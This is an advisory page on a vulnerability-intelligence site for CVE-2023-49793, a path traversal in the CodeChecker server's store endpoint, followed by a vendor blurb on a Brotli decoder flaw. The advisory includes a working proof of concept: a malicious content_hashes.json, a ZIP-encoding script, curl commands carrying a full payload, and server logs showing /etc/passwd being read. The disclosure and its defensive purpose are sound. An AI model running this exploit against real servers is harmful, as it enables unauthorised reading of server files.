New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2023-49793

ExploitedNVDCIRCLENISA

EUVD-2024-0028 · Published Jun 24, 2024

CodeChecker has a Path traversal in CodeChecker server in the endpoint of CodeChecker store

Summary

ZIP files uploaded to the server-side endpoint handling a CodeChecker store are not properly sanitized. An attacker can exercise a path traversal to make the CodeChecker server load and display files from an arbitrary location on the server machine.

Details

Target

The vulnerable endpoint is /<PRODUCT_URL>/v6.53/CodeCheckerService@massStoreRun.

Exploit overview

The attack is made possible by improper sanitization at one point in the process.

  1. When the ZIP file is uploaded by CodeChecker store, it is first unzipped to a temporary directory (safely).
  2. When deciding which files to insert into CodeChecker's internal database, the decision is made based on the content_hashes.json in the ZIP. An attacker has control over the contents of this file.
  3. After reading that file, the paths specified in the JSON are normalized by this code:
    https://github.com/Ericsson/codechecker/blob/fa41e4e5d9566b5a4f5a80a27bddec73a5146f5a/web/server/codechecker_server/api/mass_store_run.py#L442-L444
  4. Providing sufficiently many ../../s inside the content_hashes.json, an attacker can control the insertion of completely arbitrary files into CodeChecker's internal database.
  5. This is confirmed in the log output:
mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd
  1. Once the file is inserted into the internal database, it can be displayed trivially on the Web interface.
    As CodeChecker doesn't distinguish between filenames after the ZIP is extraced, an attacker can define aliases in content_hashes.json.
mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.
  1. The file is displayed in the Web UI if and only if there is at least one bug report in it.
    The bug reports are coming from the ZIP and the attacker can craft the required contents for this.
    If done so, the logs confirm the requirement for presenting the results of the exploit will be triggered:
hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2
  1. The server emits the contents of the injected files from the server's database to all users:
    CodeChecker's Web UI showing the snapshot of the /etc/passwd file that was injected to the database due to the path traversal attack.

[!NOTE]
The file is shown with the contents as it was on the system when the exploited CodeChecker store was exercised. This attack does not allow the server to return the "live" contents of a file on the server's storage — the attacker(s) must recurringly exercise the exploit to keep the injected files "updated" in the database.

PoC

The minimal example that can trigger the exploit can be downloaded: PoC.zip.

The key to the exploit is the content_hashes.json file. The additional files create a report in the loaded /etc/passwd file, so it is displayed in the web UI.

<details><summary><tt>/content_hashes.json</tt></summary>

{"/../../../../../../../../../../../../../../../etc/passwd": "malformed_hash", "/etc/passwd": "malformed_hash"}

</details>

Uploading the ZIP to the server

The communication between the CodeChecker store and the server is done by transmitting the ZIP file in a Base64-encoded string.
Encoding the ZIP into the format of the API can be done with Python:

import base64
import zlib

with open("PoC.zip", "rb") as f:
    contents = f.read()
encoded = base64.b64encode(zlib.compress(contents))
print(encoded)

The result of the compression and encoding can be sent to the running server over the API.
When the API is called, the exploit is exercised.

curl "<SERVER_URL>/<PRODUCT_URL>/v6.53/CodeCheckerService" \
    --data \
    '[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4":{"str":"<ENCODED_ZIP>"},"5":{"tf":0}}]'

<details><summary>One-line PoC</summary>

curl "http://localhost:8001/Default/v6.53/CodeCheckerService" \
    --data \
    '[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4" {"str":"eJzNVk9vIzUUT3cpS4MqIcEB2Msw6oGV2vmXzKRZZVPYdpGqLSXSdrXqVquRM+NJhk7GI9tpN5Qe0SJx4MARCfEB+AaIE2glrnAAwY0DXwAQ4gT2ZCbj+ZNI2ROTWLaff+/5+edn+/XuXn2uXuOfi48frP7zh49Ym5eXWXFQSGFI7SEgQ0iU9wkKL2RVUZb4Q+qoESDk3JVvSvIIBB7CI+jGJuVNSV4MuOwx/16J/fvQP35QE74XWMEwQpgSNUMhnEfdEFCg5WoeMFxLc7Vtz2u0XVNvt0yrrbcA8JqN2MyUjK+YGeutk78fXqnVeLGWMTOCFLiAgilf63WJffIZxMRHIVujsZmIKEIBYYKTaZ9/F1kzhoRgBDktDnKhM4TOKcTyZgEDHMoM2+F4xJCN4qiDRiMQcm5PHhXHMp9kSzEMRZfe3Aag3296Ld2Ebrule6bnsbXp/WZjGxrA0TRNt6DeNG+U3DhH+NQPB7brY+hQhCfcrFqCoTGNxtSOAB1WAzAk44DaBI2xA23PDyDnqEBMjCRgFAVQiQKf0NiWEEp5+GWJsxAEkw/Y8rnp0ig59aMIcs604hD1R5BQNvE8p/pw4HNGdau9bTTaTaOpaJap66axWYGG8c4IWNPSrEazWXA/6ybNR+v1yyxa77Fo/WtlfPuja7UaL+Yy0Sqy2Nl5PAqkJCxuybqiyRIMWfCxjb0l3z96Z2tb3unWO2/svbd7dNy7I8VaUu/+7YP9XUneUtW3I2ZMVfeO9qTewf69I4nZUNU7h7IkDymNbqrq+fm5AjhKYaHJgez4YhRBTCcHzNgWU1Bc6spsmqn1nDtM6voO7dbXOqdw0nV9MAgRob5DOioXMDnAGPDGWopcm2IdQOGAxWUKZGJCMVtZ9wANfEeCGCPcURNZpsaPnc0PYlnRQRgqe/6Z78KHEKOysguJg/2IH9Cydo+dAYliwBcIgrKyT8gYxvegnV7EyLMDP4S2H05Fj2nZbMNtsE3vW6ahGc0WBF5ba+ltYDbclq41oFGeKECMm7yLM+oSElCQDa51fDb1AOKuzoyl7QzMz2wVWqsC8+VUgQuWO2p+M/n9Ibg72/Oc6+keRCJ2gUNTPLvF3Bw8oQuesR3IkTeXvrwXVRQuIrGaxkV+V1I5n8wcnYkyu9YIGMCqhS+I00QZg3AASU5X2JFiL0/OHHpEgsrrnUfRQpLm0bSIqAJVy/ve/P/43lHFbcj1xOOVyWfSTDZzveq+TQJDeIeFYCnYSJOkmZnUgXg0fZ9nay3c5XOu44DFIQFihGYLi/UGMISYvQOu3Z8sZ3uXZWC70wysfIEmT1RZa5pWVTqUNrI6fu669d7dlSs7tXlJ+UaS2EpJXZGi15PBldqrtU++6LQOr/2ycvr0z095/evn13/cY/V0knmZdTrJS6x8KSQTouWfn7weW/qe/Pvtu6xO+6LlcjYuWn66TJoiTj0xvV2+mB9+I8eHpannZfAic+srz5rPi358Ix98zOdP69c2rpf8KOdmoh9fX33GTE104+LJ7xt8+rT+7qeUjtXnOWaV/fYZBZ+9yHv/Ac5gmHc="},"5":{"tf":0}}]' 

</details>

<details><summary>Full server logs for the <tt>store</tt> processing</summary>

[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - server.py:342 do_POST() - 127.0.0.1:33352 -- [Anonymous] POST /Default/v6.53/CodeCheckerService@massStoreRun
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Unzip storage file...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:82 unzip() - Unzipping mass storage ZIP '/tmp/tmpenegwbxj.zip' to '/home/discookie/.codechecker/tmpx7hg1teb'...
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Unzip storage file done... (duration: 0.0 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1298 store() - Using unzipped folder '/home/discookie/.codechecker/tmpx7hg1teb'
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Store source files...
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1310 store() - [poc] Storing 2 source file(s).
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:463 __store_source_files() - 17 fileid found
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Store source files done... (duration: 0.01 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1363 store() - Storing into run 'poc' locked at '2023-10-25 14:30:31.615536'.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:686 __add_or_update_run() - Adding run 'poc'...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:730 __add_or_update_run() - Adding run history.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:755 __add_or_update_run() - Adding run done.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:761 __add_or_update_run() - Storing analysis statistics done.
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:61 __enter__() - [poc] Store reports...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1163 __store_reports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports' directory
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1163 __store_reports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports/a7d0fa2d60d08ff39d519756917aaf43' directory
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1175 __store_reports() - Parsing input file 'sample.plist'
[DEBUG][2023-10-25 14:30:31] {report-converter} [2043] <139754026274816> - hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:987 __process_report_file() - Storing report to the database...
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:827 __add_report_context() - Storing bug path positions.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:834 __add_report_context() - Storing bug path events.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:842 __add_report_context() - Storing notes.
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:853 __add_report_context() - Storing macro expansions.
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1220 __store_reports() - [poc] Processed 1 analyzer result file(s).
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:64 __exit__() - [poc] Store reports done... (duration: 0.1 sec)
[DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1260 finish_checker_run() - Finishing checker run
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - mass_store_run.py:1397 store() - 'Anonymous' stored results (3 KB /decompressed/) to run 'poc' (id: 16)  in 0.15 seconds.
[INFO][2023-10-25 14:30:31] {store_time} [2043] <139754026274816> - mass_store_run.py:1414 store() - 2023-10-25T14:30:31.612326, 0.15s, "Default", "poc", 3KB, 1, 16
[DEBUG][2023-10-25 14:30:31] {profiler} [2043] <139754026274816> - profiler.py:59 debug_wrapper() - [0.173351s] massStoreRun

</details>

Impact

The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server process. This allows for the exfiltration from the server-side storage medium.
If the CodeChecker server is run with authentication enabled (not the default configuration), then the attack requires a valid user account on the CodeChecker server, with the permission to store to a database, and view the stored reports.

CVSS 3.1 Base Score: 6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Reproducible up to version 6.22.1.

Technologies

Ericsson CodecheckerCodechecker Codechecker

Weaknesses

CWE-22

CVSS scores

  • v3.16.5CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot